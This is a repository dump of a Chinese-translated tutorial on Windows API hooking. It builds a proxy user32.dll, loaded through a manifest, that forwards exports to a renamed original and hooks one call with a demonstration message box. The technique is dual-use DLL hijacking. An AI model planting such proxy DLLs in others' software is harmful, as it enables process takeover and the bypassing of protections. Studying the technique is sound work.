├── API Interception via DLL Redirection ├── API Interception via DLL Redirection.md ├── image │ ├── 20171228_1.jpg │ ├── 20171228_2.jpg │ ├── 20171228_3.jpg │ ├── 20171228_4.jpg │ ├── 20171228_5.jpg │ ├── 20171228_6.jpg │ └── 20171228_7.jpg └── user32 │ ├── Debug │ ├── user32.dll │ ├── user32.exp │ ├── user32.ilk │ ├── user32.lib │ └── user32.pdb │ ├── ipch │ └── user32-9d9ad9d6 │ │ └── user32-e8f05c90.ipch │ ├── user32.sdf │ ├── user32.sln │ ├── user32.v12.suo │ └── user32 │ ├── Debug │ ├── dllmain.obj │ ├── stdafx.obj │ ├── user32.log │ ├── user32.obj │ ├── user32.pch │ ├── user32.tlog │ │ ├── CL.read.1.tlog │ │ ├── CL.write.1.tlog │ │ ├── cl.command.1.tlog │ │ ├── link.command.1.tlog │ │ ├── link.read.1.tlog │ │ ├── link.write.1.tlog │ │ ├── user32.lastbuildstate │ │ └── user32.write.1u.tlog │ ├── vc120.idb │ └── vc120.pdb │ ├── ReadMe.txt │ ├── dllmain.cpp │ ├── linkout.pl │ ├── stdafx.cpp │ ├── stdafx.h │ ├── targetver.h │ ├── user32.cpp │ ├── user32.def │ ├── user32.txt │ ├── user32.vcxproj │ ├── user32.vcxproj.filters │ └── user33.dll ├── Kernel Driver mmap Handler Exploitation └── Kernel Driver mmap Handler Exploitation.md └── files_papers.xlsx /API Interception via DLL Redirection/API Interception via DLL Redirection.md: -------------------------------------------------------------------------------- 1 | # 通过DLL重定向实现API劫持 2 | 3 | 在Windows系统中,所有的应用程序都必须经由API函数来实现和内核的通信;同样地,尽管在最简单的Windows应用程序中这些函数也十分危险。因此,拦截、监视以及修改一个应用程序API调用的技术通常叫做API Hooking,非常有效的给予其所调用进程的完全控制。从多方面考虑这将非常有用,包括调试、逆向工程以及hacking。 4 | 5 | 实际上有多种方法可以用于实现我们的目的,被文章仅仅实验DLL重定向。选择这一方法出于多种原因考虑: 6 | 7 | 1. 实现相对简单。 8 | 2. 允许我们去观察、修改传递给API函数的参数,修改函数的返回值以及运行其他我们想要执行的代码。 9 | 3. 其他的方法往往需要将代码插入到目标进程或者从一个外部应用程序中执行代码,DLL重定向则仅仅需要拥有向目标应用程序工作目录的写权限。 10 | 4. 我们无需修改目标(磁盘或内存中)或者任意系统文件即可拦截任意API调用。 11 | 12 | ## 工具和预备知识 13 | 14 | 本文将使用下列软件。你当然也可以选择自己偏好的任意工具,然而,请记住它们的具体使用方法和实现: 15 | 16 | - Visual C++ - 用来编译DLL文件 17 | - OllyDbg - 用来实验目标应用程序和外部模块 18 | - DumpbinGUI - 用来获取目标DLL导出的函数列表 19 | - Linkout.pl - 用于自动处理一些体力活(需要ActivePerl) 20 | 21 | 假定读者有牢固的Win32 C/C++编程、汇编语言以及以上所提到应用程序使用的基础(当然不包括linkout.pl)。对于API Hooking其他的方法有一个基础的理解也很有帮助。 22 | 23 | ## DLL重定向是什么 24 | 25 | 可执行程序的导入API函数源于DLL文件,DLL重定向允许我们去告知一个程序所需要加载的DLL被放在另一个目录,而不在使用原始的那些。通过这种方法我们可以创建一个与原始文件同名的DLL,导出和原始DLL相同的函数,但是每个函数都可以包含我们想放置的代码。DLL重定向有两种方法,第一种方法有时被称为"dot local"重定向: 26 | 27 | > 应用程序可能依赖于一个特定的DLL版本,当其他应用程序安装了旧或新的相同DLL时,该应用程序可能会运行失败。有两种方法来确保应用程序使用了正确的DLL:DLL重定向以及端对端组件。开发者和管理员应该对存在的应用程序使用DLL重定向技术,因为他无需修改应用程序。 28 | 29 | 换句话说,.local DLL重定向为开发者提供了强制一个应用程序使用特殊的不同版本DLL的能力。例如,oldapp.exe仅仅在一个旧版本的user32.dll上正常运行,你可以告诉它在自己的工作目录中加载旧版本的user32.dll来工作,而不是将这个旧版本的user32.dll放置在system32目录。其他的应用程序仍然会加载system32下的.local文件(该文件是个简单的空文件,名字是在目标应用程序的名字后加一个.local扩展;这里就是oldapp.exe.local),这个.local文件连同旧版本user32.dll都要放在oldapp.exe所在的目录下。 30 | 31 | 然而,仍然存在一些限制。最重要的,根据MSDN的说法,具体的DLL文件(称为Known DLL's)在Windows XP中不能够重定向(Win2k没有此限制)。Known DLL's的列表可以在`KHEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`中找到;其中也包含了广为人知的kernel32.dll,user32.dll,gdi32.dll。然而以我个人经验来看,这并不是真的——似乎在Windows XP中,一个应用程序要么可以重定向所有的DLL,要么都不行。同样地,如果目标是一个Windows XP上运行的应用程序,.local重定向这种方法并不值得信赖,这种方法应该仅仅用于Windows 2000。 32 | 33 | 第二种方法,也就是我们即将要使用的方法,使用了manifest文件来达成同样的结果。manifest文件和.local文件使用相同的命名转换方式(例如,oldapp.exe.manifest),但却并不为空。他们必须包含具体的XML格式信息。此外,manifest文件也仅在Windows XP和Vista系统上被支持(Win2K不行),但相对于.local重定向来说它们更为可靠,并允许我们重定向任何DLL文件。(注意:我仅在Windows XP上验证过;Windows Vista上可能会有些限制和改动) 34 | 35 | ## 如何使用DLL重定向 36 | 37 | 上面提及的任一方法做重定向都相当简单,像我们后面即将看到的那样,完整的DLL重定向实现比这复杂一些。现在,我们来看一些基础:获取程序来加载当前工作目录下的DLL文件。 38 | 39 | 程序仅在被通知需要重定向时才会使用DLL重定向,通知的方法也非常简单。对.local重定向来说,program_name.exe.local文件的创建会引起应用程序在系统目录中查找DLL文件之前优先在当前工作目录中查找。这非常简单,但也正如上文提及的,在现代系统上并不可靠。 40 | 41 | manifest文件则相对复杂,有一些必要的XML信息必须要保存在manifest文件中。下面是一个manifest文件的样本: 42 | 43 | ```xml 44 | 45 | 46 | 47 | 48 | 59 | 60 | DLL Redirection 61 | 62 | 63 | 64 | 65 | 66 | 81 | 82 | 83 | 84 | 85 | 86 | 91 | 92 | 93 | 94 | ``` 95 | 96 | 我们放弃在manifest文件格式上的讨论,这和本文的主题并不直接相关(更多信息参考http://windowssdk.msdn.microsoft.com/en-gb/library/ms766454.aspx)。然而,注意``一节,这一节中我们声明了名字属性,设置它和user32.dll相同。这告诉应用程序manifest文件中指定的user32.dll需要在当前目录下加载。一旦该文件被创建,用和.local文件同样的命名方法保存名字(program_name.exe.manifest),同时也要把它放在目标程序所在的目录下。 97 | 98 | ## 创建Stub DLL 99 | 100 | 我们已经清楚了DLL重定向如何工作,但是像大多数事情那样,实现上还有一点点复杂:当我们重定向DLL时,我们需要让所有的函数都能够查找到。比如说我们想要拦截IE的所有MessageBox调用。MessageBox在user32.dll中,所以我们需要创建一个叫user32.dll且包含MessageBox函数的文件,同时创建一个iexplore.exe.manifest文件并把二者都放在iexplore.exe所在目录下。现在当IE导入API函数时,会加载我们的user32.dll,此后当IE调用MessageBox时,就会执行我们的函数。 101 | 102 | 问题在于MessageBox并不是IE从user32.dll导入的唯一函数。IE有着几百个从user32.dll中导入的函数,如果其中的一个找不到那么IE就会加载失败。另一方面我们也不想要重写所有的user32 DLL函数,我们可以简单的把其他的函数都转向原始user32.dll文件中的函数。 103 | 104 | 首先,我们需要用dumpbinGUI工具来查看user32.dll导出的所有函数(右击user32.dll,找到dumpbinGUI->EXPORTS)。你可能会看到类似这样的东西: 105 | 106 | ![](/image/20171228_1.jpg) 107 | 108 | > 这里我没用这个花哨的GUI,直接dumpbin就行了: 109 | 110 | ![](/image/20171228_2.jpg) 111 | 112 | 现在选择所有列出的函数(ActivateKeyboardLayout开始到wvsprintfW截止),拷贝到一个user32.txt文件中,稍后我们会使用。所有的这些函数都需要从我们的DLL中导出并且定向到原始user32.dll中一致的函数。可以使用链接器导向语法来实现: 113 | 114 | ```cpp 115 | #pragma comment(linker, "/export:MessageBox=user33.MessageBox") 116 | ``` 117 | 118 | 该语句使得链接器增加一个可导出的MessageBox函数到我们的DLL导出表中,并且这个导出的函数简单的被定位到user33.dll中的MessageBox函数。注意到使用了user33这个名字而不是user32。这是因为如果我们将其命名为user32.dll,我们就需要指定成user32.MessageBox,这会递归的指向本体。因此,我们拷贝原始user32.dll文件到IE所在目录下并重命名为user33.dll来防止递归。 119 | 120 | User32不包含任何内容,除了一些按顺序的DLL导出函数。这些函数需要一些额外信息。一个函数的序号代表了出现在DLL文件中的位置;换句话说,一个序号为243的函数是DLL导出的第243个函数。为了保证我们的DLL按顺序导出函数,使得函数指向原始DLL中的正确序号,我们用这样的语法: 121 | 122 | ```cpp 123 | #pragma comment(linker,"/export:ord243=shlwapi32.#243,@243,NONAME") 124 | ``` 125 | 126 | 他告诉链接器导出一个序号为243的ord243函数,指向了shlwapi32中的第243个,这里没有包含导出的名称。这里唯一的差别在于"@243"表示链接器导出函数使用的是243序列值,而"NONAME"则告诉链接器不要通过函数名称进行导出。ord243是个随机名称,当不使用名字导出时,我们写啥名字其实都不影响。 127 | 128 | 简明扼要的说,我们现在有3个文件,多放在iexplore.exe所在目录中: 129 | 130 | 1. iexplore.exe.manifest - 指定user32.dll需要从当前目录中加载。 131 | 2. user32.dll - 我们自己的DLL文件,内部函数指向了原始的user32.dll文件。 132 | 3. user33.dll - 原始user32.dll文件副本,改了名称。 133 | 134 | ## 开始我们的表演 135 | 136 | 我们已经清楚了需要干些什么,也清楚该如何做,是时候展现真正的技术了。user32.dll有一大堆的函数,如果手工一个一个创建链接器语句实在是浪费生命。因此,我们使用一个脚本来完成这项工作,该脚本需要用到上文提到的user32.txt,它就是linkout.pl。脚本使用方法非常简单:仅需要指定保存函数列表的文本文件(user32.txt)、想要导向的DLL名称(user33)以及输出文件名(缺省使用out.txt)作为参数。 137 | 138 | ![](/image/20171228_3.jpg) 139 | 140 | linkout.pl创建的out.txt文件长成这样: 141 | 142 | ![](/image/20171228_4.jpg) 143 | 144 | 现在我们需要的链接器导向语句全部生成好了,拷贝它们到DLL项目的CPP源文件中,编译成user32.dll。打开VS IDE创建一个新的Win32 C++ DLL Project,命名为user32。你可以删除user32.cpp中的所有预生成代码(除了`#include "stdafx.h"`),粘贴out.txt中所有代码到user32.cpp中,编译整个项目。 145 | 146 | 拷贝生成的user32.dll到IE所在目录,同时也拷贝原始的user32.dll文件(记得改成user33.dll)。最后,使用上文提供的模板创建一个iexplore.exe.manifest文件(IE识别.local重定向,所以你如果信任的话也可以创建一个.local文件)。启动IE,它应该会运行良好。为了测试IE加载的确实是我们的新user32.dll而不是system32下的,可以简单的重命名user33.dll成user34.dll,然后再次运行IE。此时IE应该会因下列错误而失败: 147 | 148 | ![](/image/20171228_5.jpg) 149 | 150 | 这确定了我们的DLL,使用的GetShellWindow函数是user33.GetShellWindow。 151 | 152 | ## 修改函数 153 | 154 | 到此我们的DLL除了转到user33.dll以外什么也没做。我们的终极目标是修改一些API调用。让我们看看还需要哪些额外的步骤去拦截修改API函数,以使用windows计算器为例。注意到计算器不识别.local重定向,所以必须要使用manifest文件。 155 | 156 | 创建一个calc.exe的拷贝,使用OD打开。因为我们已经有了一个user32 DLL,让我们找找在user32.dll中被调用到的API函数。第一个遇到的调用是GetProcessDefaultLayout。 157 | 158 | ![](/image/20171228_6.jpg) 159 | 160 | 再次打开user32 DLL工程,注释掉GetProcessDefaultLayout一行。增加下面的代码: 161 | 162 | ```cpp 163 | __declspec(naked) void myGetProcessDefaultLayout(void) 164 | { 165 | HINSTANCE handle; 166 | FARPROC function; 167 | DWORD retaddr; 168 | 169 | __asm{ 170 | pop retaddr 171 | } 172 | 173 | handle = LoadLibraryA("user33.dll"); 174 | if(!handle){ 175 | MessageBoxA(NULL, "Failed to load user33.dll!", "Error", MB_OK | MB_ICONERROR); 176 | ExitProcess(0); 177 | } 178 | 179 | function = GetProcAddress(handle, "GetProcessDefaultLayout"); 180 | if(!function){ 181 | MessageBoxA(NULL, "Failed to load GetProcessDefaultLayout!","Error",MB_OK | MB_ICONERROR); 182 | ExitProcess(0); 183 | } 184 | 185 | MessageBoxA(NULL, "GetProcessDefaultLayout called!","Hooked!",MB_OK); 186 | 187 | __asm{ 188 | call far dword ptr function 189 | push retaddr 190 | retn 191 | } 192 | } 193 | ``` 194 | 195 | 在函数中,我们先pop出栈上的返回地址到retaddr变量中;我们可以通过LoadLibrary和GetProcAddress来找到真正的GetProcessDefaultLayout地址。此后,我们创建一个消息框,提供我们以虚拟的确认以表示我们成功的拦截了API调用。最后,我们调用真实的GetProcessDefaultLayout函数(`call far dword ptr function`),将返回地址压入到栈上并返回。我们也可以修改传递给GetProcessDefaultLayout的参数以及它的返回值。 196 | 197 | 为了导出我们的新函数,我们需要一个DEF文件。DEF文件可以用于创建一个导出函数的列表,并且可以定义导出的函数名。在工程目录下创建一个user32.def文件并写入下面的内容: 198 | 199 | ``` 200 | LIBRARY user32.dll 201 | 202 | EXPORTS 203 | GetProcessDefaultLayout=myGetProcessDefaultLayout 204 | ``` 205 | 206 | 这回告诉链接器去导出myGetProcessDefaultLayout函数作为GetProcessDefaultLayout。把DEF文件加入到项目中(项目属性->配置属性->链接器->输入->模块定义文件)并编译新的user32项目。 207 | 208 | 拷贝创建的user32.dll,user33.dll和calc.exe.manifest到calc.exe所在的目录。运行计算器,你会看到这样一个消息框: 209 | 210 | ![](/image/20171228_7.jpg) 211 | 212 | DLL重定向很有用,然而,试图拦截一些关键DLL如user32,kernel32中的函数调用会导致应用程序的不稳定。尽管所有的函数都转向了原始的函数,但也可能引起一些非期望结果的情形。其他的方法,特别是IAT补丁,允许你仅仅重定向单一调用,这无疑降低了风险。结合DLL重定向和IAT补丁,你可以实现最佳的效果:重定向关键DLL中的单一函数,与此同时仍然消除了外部应用程序的需求或项目标应用程序IAT做DLL注入。 213 | 214 | 例如,你可以在应用程序执行体中找到一个早期调用的函数,放置在相关的隐藏DLL中,执行DLL重定向来拦截调用。此后你可以在传递控制权给应用程序之前,实现IAT补丁所需要的代码。 215 | 216 | ## 结论 217 | 218 | DLL重定向在Windows中可以是一个很有用的工具用于控制用户空间应用程序。它允许你控制任意Windows平台下可用的API函数,因此就允许你控制已存在的程序代码(或插入新的代码到进程)而无需修改应用程序代码本身(在磁盘或内存中)。这种能力也带来了安全隐患,对于用户和软件公司来说,它可能被用于危害用户的系统,也可以绕过一些审计保护技术(time-trials,CRC校验等)。 -------------------------------------------------------------------------------- /API Interception via DLL Redirection/image/20171228_1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_1.jpg -------------------------------------------------------------------------------- /API Interception via DLL Redirection/image/20171228_2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_2.jpg -------------------------------------------------------------------------------- /API Interception via DLL Redirection/image/20171228_3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_3.jpg -------------------------------------------------------------------------------- /API Interception via DLL Redirection/image/20171228_4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_4.jpg -------------------------------------------------------------------------------- /API Interception via DLL Redirection/image/20171228_5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_5.jpg -------------------------------------------------------------------------------- /API Interception via DLL Redirection/image/20171228_6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_6.jpg -------------------------------------------------------------------------------- /API Interception via DLL Redirection/image/20171228_7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/image/20171228_7.jpg -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/Debug/user32.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/Debug/user32.dll -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/Debug/user32.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/Debug/user32.exp -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/Debug/user32.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/Debug/user32.ilk -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/Debug/user32.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/Debug/user32.lib -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/Debug/user32.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/Debug/user32.pdb -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/ipch/user32-9d9ad9d6/user32-e8f05c90.ipch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/ipch/user32-9d9ad9d6/user32-e8f05c90.ipch -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32.sdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32.sdf -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2013 4 | VisualStudioVersion = 12.0.21005.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "user32", "user32\user32.vcxproj", "{9B27A2FF-06BA-43D9-9D46-104EF3E052F4}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Win32 = Debug|Win32 11 | Release|Win32 = Release|Win32 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {9B27A2FF-06BA-43D9-9D46-104EF3E052F4}.Debug|Win32.ActiveCfg = Debug|Win32 15 | {9B27A2FF-06BA-43D9-9D46-104EF3E052F4}.Debug|Win32.Build.0 = Debug|Win32 16 | {9B27A2FF-06BA-43D9-9D46-104EF3E052F4}.Release|Win32.ActiveCfg = Release|Win32 17 | {9B27A2FF-06BA-43D9-9D46-104EF3E052F4}.Release|Win32.Build.0 = Release|Win32 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32.v12.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32.v12.suo -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/dllmain.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/dllmain.obj -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/stdafx.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/stdafx.obj -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/user32.log: -------------------------------------------------------------------------------- 1 | 生成启动时间为 2017/12/28 21:20:16。 2 | 1>项目“G:\exploit-database-papers-master\docs\done\user32\user32\user32\user32.vcxproj”在节点 2 上(Build 个目标)。 3 | 1>ClCompile: 4 | F:\VS2013\VC\bin\CL.exe /c /ZI /nologo /W3 /WX- /sdl /Od /Oy- /D WIN32 /D _DEBUG /D _WINDOWS /D _USRDLL /D USER32_EXPORTS /D _WINDLL /D _UNICODE /D UNICODE /Gm /EHsc /RTC1 /MDd /GS /fp:precise /Zc:wchar_t /Zc:forScope /Yu"stdafx.h" /Fp"Debug\user32.pch" /Fo"Debug\\" /Fd"Debug\vc120.pdb" /Gd /TP /analyze- /errorReport:prompt user32.cpp 5 | user32.cpp 6 | Link: 7 | F:\VS2013\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"G:\exploit-database-papers-master\docs\done\user32\user32\Debug\user32.dll" /INCREMENTAL /NOLOGO kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /DEF:"user32.def" /MANIFEST /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /manifest:embed /DEBUG /PDB:"G:\exploit-database-papers-master\docs\done\user32\user32\Debug\user32.pdb" /SUBSYSTEM:WINDOWS /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:"G:\exploit-database-papers-master\docs\done\user32\user32\Debug\user32.lib" /MACHINE:X86 /DLL Debug\dllmain.obj 8 | Debug\stdafx.obj 9 | Debug\user32.obj 10 | 正在创建库 G:\exploit-database-papers-master\docs\done\user32\user32\Debug\user32.lib 和对象 G:\exploit-database-papers-master\docs\done\user32\user32\Debug\user32.exp 11 | user32.vcxproj -> G:\exploit-database-papers-master\docs\done\user32\user32\Debug\user32.dll 12 | 1>已完成生成项目“G:\exploit-database-papers-master\docs\done\user32\user32\user32\user32.vcxproj”(Build 个目标)的操作。 13 | 14 | 生成成功。 15 | 16 | 已用时间 00:00:01.07 17 | -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/user32.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.obj -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/user32.pch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.pch -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/cl.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/cl.command.1.tlog -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/user32.lastbuildstate: -------------------------------------------------------------------------------- 1 | #TargetFrameworkVersion=v4.0:PlatformToolSet=v120:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit 2 | Debug|Win32|G:\exploit-database-papers-master\docs\done\user32\user32\| 3 | -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/user32.write.1u.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/user32.tlog/user32.write.1u.tlog -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/vc120.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/vc120.idb -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/Debug/vc120.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/Debug/vc120.pdb -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | 动态链接库:user32 项目概述 3 | ======================================================================== 4 | 5 | 应用程序向导已为您创建了此 user32 DLL。 6 | 7 | 本文件概要介绍组成 user32 应用程序的每个文件的内容。 8 | 9 | 10 | user32.vcxproj 11 | 这是使用应用程序向导生成的 VC++ 项目的主项目文件,其中包含生成该文件的 Visual C++ 的版本信息,以及有关使用应用程序向导选择的平台、配置和项目功能的信息。 12 | 13 | user32.vcxproj.filters 14 | 这是使用“应用程序向导”生成的 VC++ 项目筛选器文件。它包含有关项目文件与筛选器之间的关联信息。在 IDE 中,通过这种关联,在特定节点下以分组形式显示具有相似扩展名的文件。例如,“.cpp”文件与“源文件”筛选器关联。 15 | 16 | user32.cpp 17 | 这是主 DLL 源文件。 18 | 19 | 此 DLL 在创建时不导出任何符号。因此,生成时不会产生 .lib 文件。如果希望此项目成为其他某个项目的项目依赖项,则需要添加代码以从 DLL 导出某些符号,以便产生一个导出库,或者,也可以在项目“属性页”对话框中的“链接器”文件夹中,将“常规”属性页上的“忽略输入库”属性设置为“是”。 20 | 21 | ///////////////////////////////////////////////////////////////////////////// 22 | 其他标准文件: 23 | 24 | StdAfx.h, StdAfx.cpp 25 | 这些文件用于生成名为 user32.pch 的预编译头 (PCH) 文件和名为 StdAfx.obj 的预编译类型文件。 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | 其他注释: 29 | 30 | 应用程序向导使用“TODO:”注释来指示应添加或自定义的源代码部分。 31 | 32 | ///////////////////////////////////////////////////////////////////////////// 33 | -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/dllmain.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/dllmain.cpp -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/linkout.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | ############################################################## 3 | #Description 4 | # Perl script to take a list of exported functions (as 5 | # displayed by dumpbin) and produce a list of linker directives 6 | # suitable for use in a C/C++ DLL project. 7 | # Each listed function will be exported and point to a 8 | # corresponding function of the same name/ordinal in the 9 | # specified DLL (). 10 | # 11 | #Usage 12 | # ./local.pl [output file] 13 | # 14 | # A text file containing the list of functions as 15 | # displayed by dumpbin. 16 | # 17 | # The DLL to which the functions will be forwarded to. 18 | # 19 | # [output file] Specifies the output file. If this parameter 20 | # is not specified, out.txt is used by default. 21 | # 22 | #Author 23 | # Craig Heffner 24 | # http://www.craigheffner.com 25 | # heffnercj [at] gmail.com 26 | # 10/28/2006 27 | ############################################################ 28 | 29 | #usage 30 | 31 | if(!$ARGV[1]){ 32 | 33 | print "\nUsage: ./linkout.pl [output file]\n\n is the name of a text file containing the exports list from dumpbin.\n\n is the name of the dll you wish to forward functions to.\n\n[output file] is the name of the file you want the results saved to.\n\nExample: ./linkout.pl dump.txt kernel32 output.txt\n"; 34 | exit; 35 | } 36 | 37 | 38 | if(!$ARGV[2]){ 39 | $file_out = "out.txt"; #default output file to use if one is not specified 40 | } else { 41 | $file_out = $ARGV[2]; 42 | } 43 | 44 | $file_in = $ARGV[0]; 45 | $dll = $ARGV[1]; 46 | $prepend = "#pragma comment(linker, \"/export:"; 